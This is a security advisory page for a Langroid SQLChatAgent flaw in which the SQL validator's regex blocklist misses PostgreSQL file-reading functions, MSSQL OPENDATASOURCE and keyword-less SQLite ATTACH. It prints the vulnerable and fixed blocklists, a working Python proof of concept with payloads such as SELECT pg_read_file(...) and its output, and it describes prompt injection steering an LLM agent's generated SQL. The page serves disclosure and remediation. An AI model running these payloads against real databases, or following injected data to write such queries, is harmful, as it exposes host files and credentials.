Langroid CVE-2026-50180
HIGHSeverity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attacker needs no credentials (agent holds DB access) and no user interaction, so PR:N/UI:N/AV:N/AC:L; impact is read-only file disclosure, so C:H with I:N/A:N.
Primary rating from Vendor (https://github.com/langroid/langroid).
CVSS VectorVendor: https://github.com/langroid/langroid
Lifecycle Timeline
6DescriptionCVE.org
Summary
SQLChatAgent in langroid ships a _validate_query defense-in-depth layer whose _DANGEROUS_SQL_PATTERNS regex blocklist enumerates dangerous SQL primitives by specific function name. The list misses the canonical PostgreSQL filesystem-disclosure family pg_read_file(), pg_stat_file(), pg_ls_logdir(), pg_ls_waldir(), pg_current_logfile() (and similar SELECT-shaped functions in the same family). It also leaves SQL Server OPENDATASOURCE and SQLite ATTACH '<file>' AS x (DATABASE keyword omitted) unblocked.
An attacker able to shape the LLM's generated SQL (directly via prompt input or transitively via prompt-injection in data the LLM ingests) can read arbitrary files from the PostgreSQL host through ordinary SELECT queries, even with the agent's strict default configuration (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). The payloads survive the statement-type allowlist (each is a SELECT) and pass through the regex blocklist (none of the function names match), then reach the live SQLAlchemy engine via SQLChatAgent.run_query.
Affected versions
langroid <= 0.63.0 (latest at the time of this report; PyPI release 2026-05-27). The vulnerable code path is langroid/agent/special/sql/sql_chat_agent.py::_validate_query, which consults the module-level _DANGEROUS_SQL_PATTERNS literal at sql_chat_agent.py:113-141.
Privilege required
Any caller able to influence the LLM-generated RunQueryTool.query string that reaches SQLChatAgent.run_query. In a typical deployment this is any client of a SQLChatAgent-backed service, or any upstream data source whose content the LLM is asked to read and summarise. No PostgreSQL credentials are required from the attacker; the agent holds them.
Vulnerable code
langroid/agent/special/sql/sql_chat_agent.py:113-141 (the _DANGEROUS_SQL_PATTERNS literal) and sql_chat_agent.py:546-615 (the _validate_query method that consults it):
# sql_chat_agent.py:113
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE),
re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE),
re.compile(r"\bpg_ls_dir\b", re.IGNORECASE),
re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
re.compile(r"\bload_file\s*\(", re.IGNORECASE),
re.compile(r"\bload\s+data\b", re.IGNORECASE),
re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
re.compile(r"\battach\s+database\b", re.IGNORECASE),
re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
re.compile(r"\bopenrowset\b", re.IGNORECASE),
re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
re.compile(
r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b",
re.IGNORECASE,
),
re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]The blocklist is a list of \b<exact-token>\b literals. PostgreSQL ships several near-name functions on the same primitive that none of these match:
| Function | What it returns | Matched by blocklist? |
|---|---|---|
pg_read_server_file('/path') | file contents | yes (pg_read_server_files?) |
pg_read_binary_file('/path') | binary contents | yes |
pg_ls_dir('/path') | directory listing | yes |
pg_read_file('/path') | file contents | no (no _server_ infix) |
pg_stat_file('/path') | size, mtime, ctime, atime, isdir | no |
pg_ls_logdir() | filenames in PostgreSQL log dir | no |
pg_ls_waldir() | WAL filenames and sizes | no |
pg_ls_tmpdir() | temp-dir listing | no |
pg_ls_archive_statusdir() | archive-status directory listing | no |
pg_current_logfile() | active server log path | no |
Each of these is a SELECT-shaped function call. They pass the sqlglot_exp.Select-only statement-type allowlist applied at sql_chat_agent.py:583-614, then evade the regex blocklist (their names contain no token the blocklist enumerates), then reach the SQLAlchemy session.execute(text(query)) sink inside SQLChatAgent.run_query (line 631 onwards).
Two non-PostgreSQL secondary gaps with the same regex-enumeration shape:
- The SQLite pattern
\battach\s+database\brequires the literal
DATABASE keyword. Per the SQLite grammar (https://www.sqlite.org/lang_attach.html) the keyword is optional: ATTACH '/path/to/db' AS x is valid syntax and matches no entry in the blocklist. Whether the agent rejects this via the statement-type allowlist depends on how the configured sqlglot dialect parses it; on PostgreSQL dialect parsing fails (sqlglot returns no Select) and the statement-type check rejects, but a SQLite-dialect SQLChatAgent (database_uri="sqlite:///...") returns the statement as sqlglot_exp.Attach, which is not in the agent's kind_map, so the generic type(stmt).__name__.upper() branch produces "ATTACH". That string is not in _DEFAULT_ALLOWED_STATEMENTS so the allowlist saves it here; however any deployment that extends allowed_statement_types to include "ATTACH" (e.g. to permit cross-schema connectivity) loses this fallback and the regex misses.
- The MSSQL pattern
\bopenrowset\bblocksOPENROWSETbut not the
closely-related OPENDATASOURCE function. Both can read remote/UNC files and execute remote queries via an ad-hoc connection string, e.g. a SELECT against OPENDATASOURCE('SQLNCLI11','Server=remote;Trusted_Connection=yes') qualified down to master.sys.tables.
Attack scenario
SQLChatAgent.run_query (line 617 of sql_chat_agent.py) calls self._validate_query(query) (line 631) on the LLM-generated SQL. The LLM-generated SQL is shaped by upstream prompt content that crosses the trust boundary: the user message, any tool result the LLM is asked to summarise, any document the agent retrieves, and any row the agent reads back from its own database (the RunQueryTool result is fed back into the LLM history at sql_chat_agent.py:712-720 of the same release).
The default config in SQLChatAgentConfig (lines 183-184) sets allow_dangerous_operations=False and allowed_statement_types=["SELECT"], which is the configuration _validate_query was added to support. The bypass primitives below are reachable under this default config because each is a syntactic SELECT whose function-call argument is the disclosure vector.
Proof of concept
poc.py (single-file, no external services beyond a transient PostgreSQL spawned via testing.postgresql):
"""
PoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure
family pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /
pg_current_logfile.
"""
import os
import re
import sys
from typing import List, Optional
PKG = "/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid"
SRC = f"{PKG}/agent/special/sql/sql_chat_agent.py"
assert os.path.exists(SRC), f"Missing pinned langroid source: {SRC}"
import sqlglot
from sqlglot import expressions as sqlglot_exp
def load_patterns_from_pinned_source():
"""Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from
the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the
full agent stack (which needs an LLM config)."""
with open(SRC) as f:
source = f.read()
block = re.search(
r"_DANGEROUS_SQL_PATTERNS:[^=]*=\s*\[(.*?)\]\s*\n", source, re.DOTALL,
)
ns = {"re": re, "List": list}
patterns = eval("[" + block.group(1) + "]", ns)
allowed = eval(
re.search(
r"_DEFAULT_ALLOWED_STATEMENTS:\s*List\[str\]\s*=\s*(\[.*?\])",
source, re.DOTALL,
).group(1)
)
return patterns, allowed
def validate_query(query, patterns, allowed_statements, dialect="postgres"):
"""Faithful reimplementation of SQLChatAgent._validate_query."""
for pat in patterns:
if pat.search(query):
return f"Rejected by pattern {pat.pattern!r}"
allowed = {t.strip().upper() for t in allowed_statements}
try:
statements = sqlglot.parse(query, read=dialect)
except Exception as e:
return f"Rejected: sqlglot parse failure: {e}"
kind_map = {
sqlglot_exp.Select: "SELECT", sqlglot_exp.Insert: "INSERT",
sqlglot_exp.Update: "UPDATE", sqlglot_exp.Delete: "DELETE",
sqlglot_exp.Merge: "MERGE", sqlglot_exp.Create: "CREATE",
sqlglot_exp.Drop: "DROP", sqlglot_exp.Alter: "ALTER",
sqlglot_exp.TruncateTable: "TRUNCATE", sqlglot_exp.Command: "COMMAND",
}
for stmt in statements:
if stmt is None:
continue
kind = next(
(v for k, v in kind_map.items() if isinstance(stmt, k)),
type(stmt).__name__.upper(),
)
if kind not in allowed:
return f"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}"
return None
def main():
patched_patterns, allowed_statements = load_patterns_from_pinned_source()
print(f"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}")
print(f"_DEFAULT_ALLOWED_STATEMENTS: {allowed_statements}")
import testing.postgresql
from sqlalchemy import create_engine, text
pg = testing.postgresql.Postgresql()
db_uri = pg.url()
engine = create_engine(db_uri)
with engine.connect() as conn:
pgdata = conn.execute(text("SHOW data_directory")).scalar()
victim_rel = "langroid_bypass_victim.txt"
victim_abs = os.path.join(pgdata, victim_rel)
with open(victim_abs, "w") as f:
f.write("PWNED_BY_LANGROID_VALIDATOR_BYPASS\n")
print(f"=== Victim file at: {victim_abs}")
bypass_payloads = [
("bypass.pg_read_file", f"SELECT pg_read_file('{victim_rel}')"),
("bypass.pg_stat_file", f"SELECT pg_stat_file('{victim_rel}')"),
("bypass.pg_ls_logdir", "SELECT pg_ls_logdir()"),
("bypass.pg_ls_waldir", "SELECT pg_ls_waldir()"),
("bypass.pg_current_logfile", "SELECT pg_current_logfile()"),
]
for label, query in bypass_payloads:
rej = validate_query(query, patched_patterns, allowed_statements, "postgres")
verdict = "REJECTED" if rej is not None else "ALLOWED"
print(f" [{verdict}] {label}: {query}")
if verdict == "ALLOWED":
try:
with engine.connect() as conn:
rows = conn.execute(text(query)).fetchall()
preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]
print(f" -> live engine returned rows={len(rows)} preview={preview}")
except Exception as e:
print(f" -> live engine error: {type(e).__name__}: {str(e)[:120]}")
if __name__ == "__main__":
main()End-to-end reproduction
Run against the latest published langroid release from PyPI; no external LLM provider, no API key, no Docker, just a transient pg_ctl-managed PostgreSQL spawned in-process by testing.postgresql. Captured transcript of the run is below.
# 1. Pin install the latest published release
python3.12 -m venv /tmp/poc-langroid-bypass/venv
source /tmp/poc-langroid-bypass/venv/bin/activate
pip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'
# 2. Drop poc.py from the Proof-of-concept section above into
# /tmp/poc-langroid-bypass/poc.py and run it
python /tmp/poc-langroid-bypass/poc.pyObserved transcript (abridged to bypass results; the run also verifies that the four primitives the current blocklist already covers (COPY ... TO PROGRAM, pg_read_server_file, pg_read_binary_file, pg_ls_dir) continue to be REJECTED, confirming the proposed fix is strictly broader, not narrower):
_DANGEROUS_SQL_PATTERNS count: 17
_DEFAULT_ALLOWED_STATEMENTS: ['SELECT']
=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test
=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt
PATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)
[ALLOWED] bypass.pg_read_file SELECT pg_read_file('langroid_bypass_victim.txt')
[ALLOWED] bypass.pg_stat_file SELECT pg_stat_file('langroid_bypass_victim.txt')
[ALLOWED] bypass.pg_ls_logdir SELECT pg_ls_logdir()
[ALLOWED] bypass.pg_ls_waldir SELECT pg_ls_waldir()
[ALLOWED] bypass.pg_current_logfile SELECT pg_current_logfile()
LIVE EXECUTION OF BYPASS PAYLOADS (postgres only)
[EXECUTED] bypass.pg_read_file -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\n',)]
[EXECUTED] bypass.pg_stat_file -> rows=1 preview=[('(35,"2026-05-28 10:11:19+08","2026-05-28 10:11:19+08","2026-05-28 10:11:19+08",,',)]
[EXECUTED] bypass.pg_ls_waldir -> rows=1 preview=[('(000000010000000000000001,16777216,"2026-05-28 10:11:19+08")',)]
[EXECUTED] bypass.pg_current_logfile -> rows=1 preview=[('None',)]
NEGATIVE CONTROL - SUGGESTED FIX VALIDATOR
[REJECTED] bypass.pg_read_file -> OK
[REJECTED] bypass.pg_stat_file -> OK
[REJECTED] bypass.pg_ls_logdir -> OK
[REJECTED] bypass.pg_ls_waldir -> OK
[REJECTED] bypass.pg_current_logfile -> OK
[REJECTED] already_blocked.copy_program -> OK
[REJECTED] already_blocked.pg_read_server_file -> OK
[REJECTED] already_blocked.pg_read_binary_file -> OK
[REJECTED] already_blocked.pg_ls_dir -> OKThe headline payload SELECT pg_read_file('langroid_bypass_victim.txt') returns the marker string verbatim from the file on disk. The same SQL, issued by an LLM under prompt-injection through any data source the agent reads, would land identically - the validator is purely a function of the SQL string and is consulted before the SQLAlchemy execute.
_validate_query is invoked directly rather than through a fully initialised SQLChatAgent because the agent's __init__ builds the LLM stack and demands a working LLM API key (or a stub). The security control under test is purely a function of (query, patterns, allowed_statements, dialect), so the direct call is observationally equivalent to a call via run_query. Patterns and allowed-statements are loaded by reading the pinned sql_chat_agent.py source out of the venv, guaranteeing no drift between PoC and shipped binary.
Impact
- Arbitrary file read from the PostgreSQL host:
pg_read_file()reads
files from PGDATA-relative paths by default and can take absolute paths when the DB role holds pg_read_server_files (or equivalent in managed-Postgres setups). For self-managed PostgreSQL deployments the DB role is frequently a superuser, in which case absolute paths are always accepted and the impact extends to postgresql.conf, pg_hba.conf, ~/.pgpass, TLS keys, and any other file readable by the PostgreSQL OS user.
- Filesystem reconnaissance via
pg_stat_file()(file existence,
size, mtime, isdir), pg_ls_logdir(), pg_ls_waldir(), pg_ls_tmpdir(), pg_ls_archive_statusdir(), pg_current_logfile().
- MSSQL extension:
OPENDATASOURCEreaches remote SQL Servers and
UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL deployments.
- SQLite extension:
ATTACH '<path>' AS schemaname(DATABASE keyword
omitted) allows reading/writing arbitrary SQLite files on deployments whose allowed_statement_types include "ATTACH".
Suggested fix
Patch _DANGEROUS_SQL_PATTERNS to cover the full family rather than individual function names. Two compatible approaches; either is enough.
Approach 1 - family-prefix regex (minimal change, simplest to review):
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
# Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile
# family. Covers pg_read_file, pg_read_server_file(s),
# pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,
# pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,
# pg_current_logfile, plus any future siblings PostgreSQL adds.
re.compile(
r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(",
re.IGNORECASE,
),
re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
re.compile(r"\bload_file\s*\(", re.IGNORECASE),
re.compile(r"\bload\s+data\b", re.IGNORECASE),
re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
# SQLite grammar: ATTACH [DATABASE] expr AS schema-name.
# The DATABASE keyword is optional; match either form.
re.compile(r"\battach\b(\s+database)?\s+['\"\w]", re.IGNORECASE),
re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
re.compile(r"\b(openrowset|opendatasource)\b", re.IGNORECASE),
re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
re.compile(
r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger|language|rule|event\s+trigger|foreign\s+table)\b",
re.IGNORECASE,
),
re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]Approach 2 - sqlglot AST walk in addition to regex. sqlglot is already imported by sql_chat_agent.py; iterate every function-call node (sqlglot_exp.Anonymous / sqlglot_exp.Func) inside the parsed statements and reject when the lower-cased name starts with pg_read, pg_stat, pg_ls, pg_current_logfile, lo_, or matches the MSSQL extended-procedure prefixes (xp_, sp_oa). AST matching is robust to whitespace, comments, and case games inside identifiers, at the cost of broader per-dialect maintenance. For closing the immediate gap, Approach 1 is sufficient.
Regression-test the additions in tests/main/sql_chat/test_sql_chat_security.py alongside the existing security tests. A natural 7-case extension covers the 5 PostgreSQL bypass payloads, the SQLite ATTACH ... AS x form, and the MSSQL OPENDATASOURCE form.
Fix PR
A private temp-fork PR applying the Suggested fix Approach 1 diff, plus the regression tests described above, accompanies this advisory: https://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1
Credit
Reported by tonghuaroot.
AnalysisAI
Arbitrary file read in Langroid's SQLChatAgent (<= 0.63.0) lets an attacker who can influence the LLM-generated SQL exfiltrate files from the PostgreSQL host even under the strict default config (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). The _validate_query blocklist enumerates dangerous functions by exact name and misses the pg_read_file/pg_stat_file/pg_ls_*/pg_current_logfile family (plus MSSQL OPENDATASOURCE and keyword-less SQLite ATTACH), so these SELECT-shaped payloads pass both the statement-type allowlist and the regex blocklist and reach the live SQLAlchemy engine. Publicly available exploit code exists (a working PoC ships in the GHSA advisory); no public exploit identified as actively exploited and this is not in CISA KEV.
Technical ContextAI
Langroid is a Python multi-agent LLM framework; the affected component is SQLChatAgent, which translates natural-language requests into SQL executed against a user-configured SQLAlchemy engine. Its defense-in-depth control _validate_query (sql_chat_agent.py:546-615) combines a sqlglot statement-type allowlist with a hand-maintained _DANGEROUS_SQL_PATTERNS regex blocklist (lines 113-141). The root cause is CWE-22 (path traversal / file disclosure) realized through blocklist incompleteness: the regexes match specific tokens like pg_read_server_files? and pg_ls_dir but not their sibling primitives pg_read_file(), pg_stat_file(), pg_ls_logdir(), pg_ls_waldir(), pg_ls_tmpdir(), pg_ls_archive_statusdir(), and pg_current_logfile() - all SELECT-shaped PostgreSQL functions that return file contents or filesystem metadata. Because each payload parses as a sqlglot Select, it satisfies the SELECT-only allowlist, then evades the name-based blocklist, then hits session.execute(text(query)) inside run_query. The same enumeration weakness appears in the MSSQL branch (OPENROWSET blocked but not OPENDATASOURCE) and the SQLite branch (the ATTACH regex requires the optional DATABASE keyword, so ATTACH '<file>' AS x slips through where allowed_statement_types is extended to permit ATTACH). CPE pkg:pip/langroid confirms the single affected PyPI package.
RemediationAI
Vendor-released patch: upgrade to langroid 0.64.0, which broadens _DANGEROUS_SQL_PATTERNS to match the whole pg_(read|stat|ls|current_logfile) family via prefix regex, adds OPENDATASOURCE alongside OPENROWSET, makes the SQLite ATTACH DATABASE keyword optional in the regex, and extends the CREATE blocklist to language/rule/event trigger/foreign table (fix commit https://github.com/langroid/langroid/commit/00b7dd7b79c5d03c94be284cf3459d98195ebfba; advisory https://github.com/langroid/langroid/security/advisories/GHSA-pmch-g965-grmr). If you cannot upgrade immediately, apply compensating controls: run the PostgreSQL role used by the agent as a minimally-privileged, non-superuser account that lacks pg_read_server_files membership so absolute-path reads are refused (trade-off: does not block PGDATA-relative reads or the pg_ls_*/pg_stat_file reconnaissance functions); REVOKE EXECUTE on the pg_read_file, pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir, pg_ls_tmpdir, pg_ls_archive_statusdir, and pg_current_logfile functions from the agent role (most robust DB-side mitigation, but must be reapplied per database and may break legitimate admin tooling using that role); and treat all prompt inputs and any data the agent ingests as untrusted, restricting who can drive the SQLChatAgent. For SQLite deployments, do not add 'ATTACH' to allowed_statement_types. These controls reduce but do not fully eliminate the read surface, so patching to 0.64.0 remains the primary fix.
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External POC / Exploit Code
Leaving vuln.today
GHSA-pmch-g965-grmr